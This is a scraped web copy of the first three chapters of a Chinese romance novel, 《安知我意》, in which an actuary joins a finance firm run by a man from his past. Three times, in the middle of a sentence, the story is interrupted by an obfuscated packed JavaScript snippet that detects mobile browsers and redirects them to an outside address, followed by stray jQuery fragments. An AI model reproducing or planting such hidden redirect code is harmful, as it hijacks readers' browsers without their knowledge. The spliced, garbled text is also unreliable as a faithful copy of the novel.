《安知我意》 1. 第 1 章 沈多意定了七点的闹钟,但六点十分就被吵醒了。 他很后悔当初选了即使两层也依旧轻薄的棉纱窗帘,应该选厚重些能吸音的。垂着头坐在床边醒盹,一只脚踩在拖鞋上,另一只脚直接踏在了地毯上。 整个洗漱过程中噪音还没有停,他刷牙的节奏似乎都被“嗡隆”声带跑了。吐掉最后一口泡沫,他静静地看向镜子中的自己,然后露出一个标准的微笑。 “您好,我是沈多意。” 声源就在厨房,沈多意挽着袖子走过去,看见了料理台上正在工作的豆浆机,还有旁边正在看早报的沈老爷子。 他凑过去跟着一起看,纳闷儿道:“爷爷,你怎么每天都看房价信息?” “你每个月还房贷太辛苦了,我看看有没有便宜点的,咱们把这儿卖了。”沈老推推鼻梁上的老花镜,“闪开点,挡着光了。” 沈多意又挪回料理台前,正好豆浆磨好了,他过滤掉豆渣盛了一碗,说:“这里房价高是有道理的,又有温泉又有碧水湖,适合老年人住。再说,那点房贷我负担得起,你别操心这些了。” 沈老接过那碗热豆浆,沿着碗沿吹了吹,担心道:“可你不是把工作辞了么。” 沈多意趁沈老喝豆浆的工夫拿来了报纸,他边看边说:“可我今天不是要去面试吗?” 豆浆已经不那么烫了,他捧着厚瓷碗走到落地窗边去喝,正好欣赏窗外刚刚放晴的天空。三十层离地面很远,听不见人们的热聊与寒暄,大部分时间都是极其安静的。思及此,沈多意又想起被吵醒时的痛苦,可一口豆浆流淌进胃里,痛苦又被抚平了大半。 “爷爷,你最近怎么不下楼买早点了?” “我嫌坐电梯晕得慌,正好你单位发的豆浆机没怎么用过,以后每天早晨都自己磨豆浆喝。” 沈多意心中叫苦,面上却没什么不情愿的表情,他回头望着沈老,轮廓间逆着阳光:“爷爷,是不是上礼拜钓鱼的时候受刺激了?” 公寓里的碧水湖可以钓鱼,春秋夏三季每天清晨都有老头坐在湖边垂钓,沈老爷子为此还买了把新躺椅。 “说了你又要揶揄我。”沈老轻轻叹息,语气中掩不住的羡慕,“一堆老头除了聊儿女就是聊孙子辈的,聊完孙子辈的又聊重孙辈的。” 沈多意揣着明白装糊涂,故意道:“我爸妈都离开多少年了,你就别惦记他们了。” 沈老眼皮已经松弛,但仍努力瞪着:“我惦记他们干什么,我是操心你,你也毕业工作好几年了,什么时候成家?什么时候找个合适的伴儿?” 沈多意从窗边走进客厅,阳光渐渐被他遗落在地板上,他揶揄道:“我现在连工作都没有。” 沈老气道:“现在就去换衣服,早点出门面试!” 青色的厚瓷碗带着层豆浆沫就被搁进了水池里,沈多意逃荒似的回房间换衣服,避开老爷子接下来的唠叨。 书桌左边有三层抽屉,由下至上分别是小初高三阶段获得的奖状,右边的柜子里则是大学期间的各种证书。一切收拾妥当,他把需要用到的资料放进包里,然后准备出发。 门关上的瞬间收到一条信息:“师兄,祝你面试顺利,结束后一起吃午饭?” 沈多意编辑道:“好,我请客。” 发信息的人是沈多意的学弟,名字叫孟良。孟良的叔叔是保险公司的高管,过去四年也是沈多意的上司。如今各行各业稍好点的工作都需要托关系,工作中也需要维持一定的人脉,沈多意却把关系砍断,毫不犹豫地递交了辞职信。 一路回想着过去的种种,直到进入商务大楼才回神。他在前台登记姓名,说:“我姓沈,和游先生预约过上午面试。” 二十层的会议室开着门,每个位子前都放着一杯咖啡,可见会议刚刚结束。沈多意在空位上坐下,等秘书关上门后出声道:“游先生您好,我是沈多意,您需要先休息会儿吗?” “不用。”游哲靠在宽大的椅背上,“我们这行经常加班通宵,喝咖啡像喝水一样,你能受得了吗?” 沈多意双手放在桌面上,从笑容能看出来他很放松:“我不怕辛苦的。” 游哲说着把杯底的咖啡一饮而尽:“保险公司属于国企,你毕业后在那儿做了四年,听说精算师比其他中层管理的待遇还要好很多,能不能满足一下我的好奇心?” 沈多意微微颔首,没想到第一步就要谈钱,不过也对,钱谈不拢的话,谈别的也就没用了。他不卑不亢地回答:“我考的北美系,有两年工作经验后完成了最后一步考试。所以毕业第一年是三十万左右,第二年四十,辞职前年薪是一百二十万上下。” “我所有的履历都已经发到您的邮箱了,这些是我工作期间发表的几篇论文,主要是关于资产负债管理和概率论方面的。”沈多意把资料推到对方面前,“国外金融行业已经吸收了不少精算师,国内情况稍落后点,所以我想试试。而且保险是金融投资的一种,如果将来公司项目有拓展的话,我可以多出些力。” 游哲大致扫了几眼论文,说:“这些我要拿回办公室细看。” 沈多意立刻会意,他笑着从座位上起身:“那我不打扰了,等您的通知。” 高不见顶的商务大楼矗立在中央街两旁,太阳光照射在玻璃板上,映出街上形色匆忙的上班族和来来往往的车辆。 沈多意开着车行驶到街尾,透过车窗望了眼最高的那栋大楼。 交通灯由红变绿,他收回目光,同时把繁华与忙碌抛诸脑后,逐渐驶离了中央街。 虽然时间尚早,但说好的请客不能食言。沈多意已经做好等人的准备,却没想到孟良比他到的更早。 “师兄,我肚子还不饿,先叫了两杯康宝蓝。”孟良微微起身,又被沈多意经过时按着肩膀坐下。 “不饿还来这么早,旷班了?”沈多意在桌对面落座,轻呡了一口咖啡,然后主动交代道,“面试没用多久,游先生通宵加开会,我估计他很累了。” 孟良说:“你没辞职前就收到橄榄枝了,应该不会有问题。” 沈多意笑笑:“他们一次性撒好几个钩,咬不咬,主动权在我。但我辞职了然后咬钩,主动权就在他们了。” 孟良有些失落:“可你不管主动还是被动,都下定决心要辞职。” 几句话的工夫,已经到了餐厅的营业时间,沈多意看完手表顺便向服务生招手,转移话题道:“早晨只喝了碗豆浆,我饿了。” 餐厅里客人寥寥,两个人在轻缓的音乐声中用餐,孟良的手机扣在桌面上,偶尔从边缘处漏出一点光。沈多意看到了,但对方没理会,他便也不出声。 沉默着吃饭很省时间,最后一道菜用完,孟良犹豫着说:“想再来点甜口的,你想吃什么?” “我不用了。”康宝蓝足够腻了,沈多意捧着杯清水,“就怕你吃完甜口的,话还没说,那之后再来点咸口的?” 孟良不好意思地笑笑,终于拾起了自己的手机,无奈道:“我叔叔催了好几条,这说客真的不好当。” 沈多意从入行就是孟良的叔叔带着,四年来他既是对方的下属帮手,也是对方的学生后辈。他觉得高级精算师在保险这行稳定有余,发展不足,如果是在金融行业的话,接触的东西会更多。 但以上原因只是让他有些蠢蠢欲动而已,真正让他下决心迈出这一步的,是两个月前的一次相亲。 沈多意抱歉地笑笑,说:“做孟叔的下属或者学生都好,但是女婿不行,我做不来。” 结完账又打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16727236|189514||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 包了一份甜品给对方,沈多意驱车回家,把音响拧得比平时大声了些,企图扰乱自己的思考。 其实不用这样就够乱的。 他做不来别人的女婿,做不来别人的老公。 连男朋友都做不来。 沈多意握紧方向盘,拐弯的时候脑海中晃过他爸妈的脸。他爸妈去世的时候他还小,所以记忆里那二位始终是年轻的模样。 他偶尔会遐想片刻,要是他爸妈还在世,并且知道他不同寻常的话,会祥林嫂似的唠叨还是义正辞严地指责? 想来想去,结果他爸妈连托梦都懒得来。 沈多意把音响重新关小,温湖公寓的牌子就在不远处,他要回家好好睡一觉,睡醒后可能正好接到游哲的通知。 咖啡无法消减游哲的困意,但手上那薄薄一沓关于资产负债管理的论文却使他精神奕奕,逐句看完,甚至忍不住翻回去把精彩段落又咂摸了几遍。 突然响起的来电铃声终于使他把资料放下,接通后打趣道:“再晚联系我五分钟,职位可就给别人了。” 窗外的楼宇间已经亮起了灯,夜幕仿佛比白昼更明亮,游哲讲完电话对着论文叹息一声,同时按下了拨号。 “戚总,忙吗?” “忙。” “在哪儿忙呢?” “东京酒吧。” “不干正事儿,给我把酒叫好,十分钟后见。”游哲走得匆忙,把原本想带上的论文落在了办公桌上。 东京酒吧就在中央街的街尾处,老板不是东京人,整间酒吧也和东京没有任何关系。据说店名是随便取的,酒也是随便调的,这种无所谓的态度让盘踞在这条街上的大鳄小鱼们十分向往,但小鱼们消费不起,所以只单纯成了大鳄们的解压圣地。 各桌上的鲜花每天一换,一周不带重样的,有位客人不喜欢花香,也不喜欢把长腿窝在座位上,于是吧台前的高脚椅就成了他的卡座。 游哲在门外就看见了对方,走到门口时率先出声:“戚时安,你的车被贴条了。” 被叫作“戚时安”的男人坐在吧台前,西装挺括,衬得眉目也冷硬有余,难见温柔。他的表情没有丝毫变化,手中端着马提尼喝了一口,放下杯子又拿起吧台上的打火机玩儿,说:“我压根儿没开车。” 玩笑被拆穿,游哲在旁边的高脚椅上坐下,他只看见了打火机,却没闻见一丝烟味,惊奇道:“真戒了?” “嗯,本来就没多大瘾。”戚时安把打火机扔给调酒师,“送你了,下回调酒靠点谱,别弄那么甜。” 游哲说:“昨晚通宵开会,喝一杯就回家睡觉。你怎么着,等会儿还转场吗?” 戚时安看看手表:“晚上夜盘要开,我等会儿回公司。” “行,那谁也别耽误谁。”游哲把酒喝完,“我之前不是说从别处挖人过来么,但对方一直吊着,我就见了另一个,印象不错。” 戚时安没认真听,敷衍道:“那就选另一个。” 游哲遗憾道:“来之前第一个联系我了,他有十年经验,而且一直在金融行业做,算是大牛级别,所以我还是选他。关于第二个,说实话我挺舍不得的,所以问问你们公司需要吗?” 戚时安不耐烦道:“这些我不管,问章以明去。” “谁知道他在哪儿。”游哲点点屏幕,“我把履历表和详细资料发给你,有空看看吧。我太困了,必须回家睡觉了。” 他拿上外套准备走人:“记得看,对方叫沈多意。” “什么?” 沈多意。 戚时安握着酒杯的手倏然收紧,一股难以言明的麻痹感从双膝蔓延至喉咙口,是不是马提尼的后劲上来了? 还是“沈多意”这三个字,他记得太过清楚? 2. 第 2 章 不过放晴了一天,晚上又开始下雨,戚时安杯中的酒从满到空,再由空至满,几个回合过去,他没抓住想要的醉意,反而被灌进来的冷风吹得愈发清醒。 “戚先生,还要一杯吗?” 戚时安口中萦绕着淡淡的酒味,他已经不该继续喝了,但意识先行,脱口而出道:“给我来一杯,黄油啤酒。” 等待的时间里他盯着桌面上的手机,犹豫要不要打开邮箱看一看,也许游哲嘴里的“沈多意”并不是他想的那个,很有可能是重名。 多少的多,心意的意。 沈多意…… 这么好听的名字,去他妈的重名。 戚时安忘记了自己的职业,忘记了他作为操盘手有多果断。犹豫到黄油啤酒端上桌,他看着玻璃杯中不断聚集的气泡,感觉堵在心肺中的那份不平静也终于达到了最大值。 就像股价终于涨升到了压力线。 进入邮箱,最近两封邮件分别来自于游哲和秘书安妮,理智促使他先点开了第二封。邮件内容是今晚的开盘数据,他已经耽误了工作。 回完邮件只剩下一封未读,他才发觉刚刚不只是理智,还有些逃避的情绪在里面。指腹轻轻落下,邮件打开了,首先出现的便是姓名栏。 他又一次复习了那三个字。 戚时安用指甲一下一下地戳着屏幕,把对方的基本信息全收入脑中。名牌大学毕业,四年工作经验,还有一串证书编号,以及为公司创收多少利润。 时间太过神奇,和初次见面比起来,像换了个世界。 再次下拉,猝不及防出现一张照片,戚时安甚至没来及收回手指,以至于指尖触摸在对方的脸上。他的目光定在上面,盛着黄油啤酒的玻璃杯映出了他浑然未觉的笑容。 那笑容中潜藏着些许怜惜,也暗含着蠢蠢欲动的征服欲。 也许是证件照的通病,照片中的沈多意有些拘谨。薄唇抿出一点笑意,黑亮的瞳仁直视着镜头,估计是光线的原因,偏白的皮肤被照成了暖色,如果不是穿着毛衣,根本觉不出拍照时是冬天。 戚时安摁灭了手机,终于想起喝那杯啤酒,他望着吧台内侧琳琅满目的酒柜,脑海中滚动着沈多意的电话号码。 他骄矜地想,自己只是觉得缘分奇妙而已,并不是还对那个人有意思。 调酒师这时出声:“戚先生,本月你第一次待这么久。” 的确,自己干喝酒很无聊。戚时安觉得这家酒吧不仅调酒技术烂,还很会赶客,他放下空酒杯,转头望见个好看的侧脸。 鼻梁挺翘,有一点唇珠,额前的头发带着光泽,整个人柔和又安静,是那么的熟悉。对方似是感受到了他的目光,转过脸来与他对视。 熟悉感顿时消退干净,戚时安觉得有些魔怔。 那人仍在看他,然后举起杯子投来一个微笑。这种地方,一眼就能勾搭上,一笑就能滚到床上,戚时安把酒喝干净,然后利索地走了。 他不爱搞替身那套,中意一个人,就算求而不得也另有一番滋味缱绻在心头。其他的,像一分也好,像九十九分也罢,对他来说没有什么区别,反正都索然无味。 真真的中意他,那谁也替代不了。 他只盼着随时间冲淡这点心思,冲不淡的话,也只能认了。 可他早就认了,结果又让他遇见。 进入街尾最高的那栋大楼,戚时安把沈多意的履历表按了发送,很快有电话打来,他接通说道:“邀请他来面试,越快越好。” 这场小雨持久力惊人,沈多意半夜睡醒时还在下着。 他看了眼毫无动静的手机,心中大概知道了答案。睡意渐无,从床上转移到了飘窗,懒得开灯,便摸黑窝在上面乱想。 是不是薪资说高了? 还是哪句话不妥当? 又或者是有了更合适的人选? 探寻原因并没有多大意义,沈多意想这些只是失眠的消遣。忽然一阵风冲着窗子吹来,雨点啪啪砸在了玻璃上,他带着不好的预感爬去阳台,果然发现窗户没关,晾着的衣服又被打湿了。 半夜做一趟家务真的能治失眠,再回到床上时几乎是立刻进入了梦乡。 清晨,豆浆机的噪声如约而至,沈多意出溜进被子里抵抗,甚至忽略了枕头边响起的手机铃声。 沈老按了暂停,慢腾腾地走到卧室门口催促:“都十点了,今天是不是休息啊?起来陪我泡温泉去吧?” 十点? 沈多意掀了被子,跪坐在床上接通电话:“您好?” 电话那边的语气有些漫不经心,但声音挺好听:“你好,我是明安金融投资的章以明。” 沈多意记得,街尾最高的那栋大厦就叫“明安”。 沈老在门口等了五分钟,听着里面说话的动静,估计只能自己去泡温泉了。拿上帽子和拐杖,换鞋时卧室开了门。 “爷爷,等我一下。”沈多意说,“明天约了人,今天陪你泡温泉。” 明安外汇部只有几名行政在外面,操盘手们全都在会议室开会,戚时安领口松着,衬衫袖子挽到了手肘,两枚宝石袖扣被随意扔在烟灰缸的旁边。 章以明找了位子坐下,百无聊赖地浏览“模拟交易员和实盘交易员的注意事项”,来回看了三遍,会议室的玻璃门终于开了。 戚时安最先出来,随手朝章以明扔了根烟,章以明接住起身,走过去说:“戒不了吧?开会的时候不抽烟真的不尊重人道主义。” “闻了闻,没点燃。”戚时安非常自律,“有事儿快说,我忙着呢。” 章以明不满道:“因为喝酒耽误了开通夜盘,今天大幅低走,你当然忙了,活该。” 戚时安把烟抢回来塞回烟盒,转身走到门口:“这是外汇部门,期货的事儿别跟这儿说。”他说完挡在门口,然后敲了敲门上的牌子。 “操盘重地,非请勿入。” 章以明淡淡一笑:“那叫沈多意的精算师,还请不请啊?” 戚时安已经忙忘了,此时带着疲倦感也淡淡一笑:“你这么问,看来已经请了。” 章以明点点头:“明天面试,你来还是我来?” “你来。”戚时安想都未想,他怕沈多意还记得他,然后拒绝公司的工作邀请,更怕沈多意不记得他,礼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16727237|189514||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 貌又陌生地与他寒暄。 章以明前脚离开,安妮后脚发来了之后一周的行程表。戚时安这才想起,明天要飞德国开会。他念书的时候曾在德国生活过大半年,一直也想再去看看,可此时竟然毫无期待。 几场雨结束,气温不降反升,前一天温泉泡久了还有些上火。 沈多意早早出门,面试前先去洗了趟车,其实他很怀念以前住在秋叶胡同的日子,那边的街坊过得很悠闲、很自在,周末无事的时候,就拎着塑料桶自己洗车。磨磨蹭蹭的,洗完再看会儿下棋,然后拎着桶回家吃午饭。 明安大楼内常年保持在二十五摄氏度,边边角角处都纤尘不染,除了清洁人员每天要打扫外,每隔半个月都要另找外包公司做全面大扫除。 章以明进电梯时还没讲完电话,低着头问:“等会儿面试,人是你让我请的,先说好是不是必须留下?” 戚时安已经坐在了办公室里:“看他表现,不过我有信心他能通过。” “那我公事公办了啊,你上午不是飞柏林吗?”章以明喝了口咖啡,仰头的瞬间看到了电梯中的沈多意,于是没等戚时安回答便挂掉了电话。 沈多意颔首:“章先生吗?” 章以明伸出右手:“你好,等下直接去我办公室谈吧。” 两手相握,沈多意直截了当地问:“是游先生向您介绍的我吗?” “是,刚才电话里就是他。”章以明面不改色地撒谎,“我们是朋友,他因为一些情况无法聘用你,觉得很可惜,正好我们公司也需要人手,所以他向我推荐了你。” 沈多意笑道:“希望我们能合作成功。” 从电话突然挂断后,戚时安就一直坐在椅子上没动弹,偶尔看一眼手表,计算着面试时间到了,自我介绍应该做完了。 安妮敲门进来,提醒道:“戚先生,该去机场了。” 戚时安问:“司机吃早饭了吗?” “啊?我问下。”安妮无措了两秒,联系完司机后回道,“他吃过了,您没吃吗?” 戚时安说:“给他十分钟,再吃一顿,我等他。” 三分钟过去,戚时安终于从座位上起身,他拎上包大步流星地离开办公室,步伐渐渐加快,在半路掉头转向了另一层会议室。 整条走廊铺着厚厚的地毯,无论行走还是奔跑都听不见声音,向阳的所有房间都是大大小小的会议室,哪个部门都随时可以来开会。 最大的那间里,章以明和沈多意隔着一米的距离站在落地窗前,不知道正在探讨什么。 戚时安走到玻璃墙外,光明正大的偷看。 视野中的沈多意好像比记忆中高了一些,衬衫的立领将修长的脖颈遮住一半,肩膀一边在阴影里,一边在阳光下。当他微微侧脸与章以明交谈时,能看见象征礼貌的嘴角弧度,以及带着笑意的眉眼。 十分钟到了,戚时安转身离开,皮鞋踩在地毯上没有动静,所以只能听见胸腔中的“扑通”声。他不知是喜是悲的发现,告别年少时期的沈多意似乎更加高段。 连惊鸿一瞥都没有了,却仍不留情面地搅乱了他心底的一池静水。 3. 第 3 章 飞机起飞前,戚时安收到了章以明的信息。三天内公司将会正式出合同,沈多意签字后就会成为明安的一份子。 他心满意足地系好安全带,然后盖上毯子准备睡到柏林。 刚闭上眼睛,章以明又发来一条:“你和他是什么关系?” 戚时安回:“我兄弟。” “不会吧,怎么没见你提过,真是你兄弟?”章以明不太信。 戚时安关机前最后回复道:“我四海之内皆兄弟。” 倾斜感袭来,飞机已经起飞,商务舱内安静的仿佛都睡了。戚时安偏过头去,半阖着眼望向窗外,很多人喜欢在飞机上看云,他是个例外。 云飘来飘去,抓不住摸不着的虚无,感觉越看越郁闷。 戚时安有些郁闷地思考,他和沈多意是什么关系? 各种理由加上花样繁多的借口,再四舍五入一下,最后粉饰几个来回,也达不到“旧情人”那步。 “唉,比看云还郁闷。”戚时安彻底闭上了双眼,觉得还是睡觉比较实际。 面试结束,沈多意被安妮带着在公司各部参观熟悉,电梯经过三十层的时候没有停下,安妮解释道:“戚先生和章先生是明安的高级合伙人,三十层主要是戚先生的办公室和休息室,他喜欢叫人上来开会,几个部门也有戚先生的小办公室。对了,戚先生还是高级操盘手,他最近常待在外汇部。” 沈多意一一记下,问:“不用去和戚先生打声招呼吗?” “得下周才行。”安妮回答,“戚先生上午去柏林出差了,要一周后才回来。” 大致把公司各部门转了一遍,只等签合同就好。沈多意取车回家,半道想起孟良还不知道他换了家公司。 “孟良,是我,今天忙不忙?” 孟良在电话里说:“还行,上午和银保部的主管开会,挺顺利的,会议也提前结束了。师兄,是不是面试成功了?” “没有,被淘汰了。”沈多意路过超市停下,“不过在另一间公司成功了,明安金融你知道吗?” 孟良音调拔高:“明安在金融行业挺有名的,有次跟老总吃饭,听说他们那个老板也是花名在外,八卦事儿特别多。” 沈多意不怎么热爱八卦,而且也不知道“那个老板”具体是指戚先生还是章先生,停好车后说:“我要买菜跟老爷子庆祝一下,你来吃现成的吗?” “那必须来啊,我打下手。”孟良应道。 沈多意从读书到工作,人缘一直不错,但没有太过亲近的朋友,因为他话不多,也不爱说些家事烦恼,很多时候都与人有些距离感。其实有个一起在胡同里长大的发小,不过大家工作都很忙,不年不节便很少联系。孟良就像他弟弟一样,从大学到初入社会,两个人比较谈得来,他还给孟良介绍过女朋友,虽然没有成功。 沈老戴着老花镜看新闻联播,两个小的在厨房张罗晚饭,沈多意做饭熟练,为防止流眼泪都是仰着头切葱,他边切边回想:“今天带我熟悉公司的秘书挺漂亮的,人也很大方,等熟了我看看她是不是单身。” “又要给我介绍啊?你也太惦记我了。”孟良看了眼客厅,小声说,“师兄,你考虑考虑自己的终身幸福吧,爷爷不催你吗?” 沈多意晃晃脑袋:“催啊,我左耳朵进,右耳朵出。等会儿吃饭,你可千万别提敏感话题。” 孟良格外听话,整顿饭都在埋头苦吃,吃完才把话匣子打开。两个人从银保部的主管有多两面三刀,聊到寿险新产品的前景,对话内容如同天书一般,听得沈老直挠耳朵。 “对了,我给你讲讲你的新老板吧。”孟良说,“明安的老板特别爱玩儿,经常泡吧啊,按摩啊,关键每次带的伴儿都不一样,有模特有明星,什么职业的都有。最神的是——” 沈多意抱着靠枕:“别卖关子行不行?” 孟良压低声音:“最神的是,今天泡吧带女伴,明天按摩带男伴,简直欺男霸女。” 八卦总是越传越夸张,所以沈多意没打算相信,只当作听了段饭后笑料。但他也没一点都不信,空穴来风,事必有因,只不过还不知道是哪位老板那么开放。 等两天后正式上班时,他大概猜到了。 法务部准备好了需要签署的协议与合同,沈多意坐在沙发上喝完了整杯咖啡还没等到老板的身影。第二杯蓄满,章以明才姗姗来迟。 “抱歉,因为我私人的原因让你久等了。” 沈多意鼻尖萦绕着一股消毒水的气味,他把合同推到对方面前:“没关系,我也刚到。” 章以明签名盖章,说:“昨天女朋友出交通事故进医院了,我实在走不开,警局医院两头跑,连觉都没睡。” 沈多意安慰道:“人没事儿就好,那我不妨碍您工作了。不过今天是我第一天上班,中午想请咨询部的同事吃饭,您有空的话一起来吧。” 章以明考虑片刻,觉得上班族吃午饭可以列入世界十大无聊事件,于是看似提议,实则命令道:“晚上办个欢迎会吧,安妮这两天没老板布置工作,那就让她安排。” 沈多意疑虑地问:“您女朋友不是出事故了吗,会不会太耽误您的时间?” “那倒不会……”章以明已经忘记这茬儿,“她人没事儿,就是受了点惊吓,我叫她一起来,正好放松一下压压惊。” 离开办公室回咨询部,沈多意忍不住在心里给出了答案,这位章先生很紧张自己的女朋友,应该不是孟良嘴里的花花公子,那就只能是另一位戚先生了。 “阿嚏!” 远在德国柏林的戚时安攒足劲儿打了个喷嚏,好几天密集的会议使他有些透不过气,再加上时差,感觉状态不算良好。 短暂的休息时间结束,甚至来不及等咖啡变凉,他接过遥控器,切换出了新的页面,继续这场会议:“德交所新出了关于设立合资公司的政策,那么中德自贸区概念股极有可能迎来多头市场。” 来不及变凉的咖啡终于凉透,戚时安口干舌燥,他主动伸出右手,想尽快结束周围的掌声。这时候最害怕的,就是突然过来个同行和自己继续探讨,而他只想喝完那杯咖啡润润嗓子,然后马不停蹄地回酒店睡觉。 “时安,明天一起聚聚?” 会议上要商讨政策和明面上的市场走势,有趣的和包含内幕的八卦消息都要放在饭桌上胡侃八侃。问话的是一位老同学,戚时安抻了抻领带,无奈地笑:“看我睡到几点吧,而且我订了去慕尼黑的车票。” 戚时安乘车前往酒店,一心奔着床去。洗完澡沾上枕头的瞬间,眼睛彻底睁不开了,然后他恍惚间做了场梦。 梦见他出差回去,电梯门打开的刹那看见了沈多意站在外面。沈多意的眼神不再温柔,瞪了他片刻便转身逃走。 外面不知是黑夜还是白天,厚重的窗帘像给房间多添了一堵墙,戚时安趴在床上酣睡,眉头皱着始终没有好脸色。 这一觉睡了太久,彻底错过了与老同学们的聚餐,幸亏定了闹钟,不然可能连火车都会错过。 戚时安换了休闲装准备出发,临走前给章以明去了个电话,接通后很省时间地问:“和沈多意的合同签了么?” “签了,已经正式上班了。”章以明看看手表,“还有五分钟就正式下班了,晚上要办个欢迎会开心一下。” 戚时安眉心一跳:“办个屁,你少掺和。” 章以明立刻笑开了:“居然说脏话,人家又不是小员工,公司表示表示怎么了?不过我在犹豫要不要叫几个美女作陪,看他那么斯文,不知道能不能玩到一块儿去。” “不能,你叫人围着你群嗨都无所谓,但离他远点。”戚时安办理了退房手续,“还有,证券交易所的王主任公干回来了,我建议你陪他吃饭。” 挂了电话正好走到酒店大堂,戚时安看着亮到反光的地板和造型复杂的吊灯,还有旋转门旁边的皮沙发和落地花瓶,难以抑制地想起市里的国宾大厦。 趁电话还亮着,他拨出去了秘书的号码。 下班前最后两分钟,沈多意接到了章以明缺席欢迎会的通知,其实他是暗自庆幸的,因为和老板打交道很累。虽然在社会上和谁打交道都很累,但如果把同事当成团队的队友,人脉感就会变弱,那相处起来也会轻松许多。 沈多意收起桌上的几本部门数据,顺便在便签上做了明天的工作概要,这时安妮敲门进来,问:“您准备下班了吗?” “不急,我还在写工作概要。”老板秘书不会无缘无故找来,沈多意明白,“是不是戚先生有事吩咐?” 安妮不好意思地笑笑:“戚先生想让您做一份关于外汇发展走势的分析报告。” 沈多意随手记了下来:“还有其他内容吗?” “没有了,戚先生说希望明天上午发给他。”安妮的笑容显得愈发抱歉,“时间比较紧张,公司公开的档案室可以调数据,您辛苦了。” 最后四个字让沈多意有种人民教师的感觉,办公室的门关上,他看着刚刚记下的题目思考。要求笼统,甚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16727238|189514||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 至经不起推敲,比起考察他的水平,更像是强行给他找点事做,而且还吝啬的不给多少时间。 欢迎会在同事的叹息声中泡汤,沈多意按照原计划请大家吃了顿饭,然后便赶回公司加班。公开档案室很少有人来,温度比其他楼层都要低一点,他泡了杯绿茶提神,开工前收到了安妮的通知。 “戚先生说有问题可以问他。” 公司有股票、期货、外汇三个投资部门,外汇较之于前两个要复杂得多,沈多意调了数据做分析比对,他是高级精算师,最擅长的就是量化各种不确定的事情,预估形势与不可见的损失。 晚上十一点,绿茶已经见底,他向戚时安发送了第一封邮件。 “戚先生您好,我是沈多意。”戚时安站在玛丽恩广场喂鸟,喂到一半对着手机边笑边读,“……预计明年的市场将会发生通缩,央行将降息,并分阶段推出救市措施。” 他回复道:“你觉得要怎样度过危机呢?” 沈多意回复得很快:“这不是我的观点,是在数据库看到的一份前年的分析报告,我的观点与之相反。现在国家坐庄,走势很好,出现危机的可能性不大。” 戚时安问:“所以你想听听我的意见?” “是。”沈多意忍不住笑,轻轻敲下了回复,“因为那份分析报告是您写的。” 戚时安站在一群鸟中间回忆自己两年前写的报告,上衣被风吹得微微鼓起,最后实在没想起来,回道:“把你的看法提供给我就好,不用管其他的。” 沈多意没再回复,专心投入眼前的工作,直忙到凌晨才完成了三分之一。杯中堆积着茶叶,他起身去接水,顺便活动下久坐后酸麻的肩膀。 再回到办公室时,又来了封未读邮件。 “送你一张慕尼黑街头的炒栗子摊儿,报告等我回去再上交,早点休息。” 好看的图片缓解了双眼的酸涩感,沈多意想起家附近卖的糖炒栗子,有种贿赂老板的冲动,但想想又怕对方觉得寒酸。 两天后飞机落地,戚时安出差归来,家都没回,拎着大包直接去了公司。 从一层大厅到三十层办公室,安妮还没汇报完上一周的工作,办公桌上码好的文件像几座小山,隐在之间的咖啡冒着热气,像着了山火。 戚时安随手把包放在地上,然后拿出一袋炒栗子,朝安妮扔了两个,说:“尝尝,慕尼黑捂回来的,难吃也别明说。” 安妮应道:“我等下擦了口红再吃。对了,提前通知了各部门您今天回来,要确认开会时间吗?” “下午吧,下午容易犯困,可以训人。”戚时安靠着椅背,心思早飞到了咨询部,“沈组长的报告写好了吗?” 没等安妮回答,他又改口:“不用问,别催他。” 沈多意的报告早就完成了,此时也正犹豫要不要拿去给戚时安看,他担心对方奔波劳累,刚下飞机没有心情处理工作。抽屉里的糖炒栗子飘出阵阵香气,摸上去还有热度,他买了三袋,另外两袋给同事当零嘴了。 凉了就不好吃了,还是去吧。 三十层,和家里的楼层数一样。沈多意拿着分析报告和糖炒栗子出了电梯,然后先给了安妮几颗。安妮乐道:“真巧,戚先生也给了我两个,这季节适合吃栗子吗?” 沈多意跟着乐,觉得从德国买回一包炒栗子有些好笑,他走到门口收敛情绪,只挂着礼貌的微笑。 戚时安签名的手顿住,听见了叩门声和一句好听的“戚先生”。 “请进。” 沈多意推门而入,自然而然地望向办公桌后面的人,只可惜有一摞文件挡着看不清楚。他渐渐走近,在桌前站定时对方正好抬头。 眉峰眼尾,鼻梁嘴角,记忆里零碎的蛛网重新粘合拼接,把多年前的旧事兜头浇下,配着这张熟悉又陌生的脸。 两包炒栗子的香气混合在一起,氧气都被那份香甜烧灼干净,沈多意嘴角的弧度已经不见,带着笑意的双眼也只剩下愕然。 戚时安盖上笔帽,站起身说:“看来你还记得我。” 沈多意手指一松,栗子掉落滚了满地。 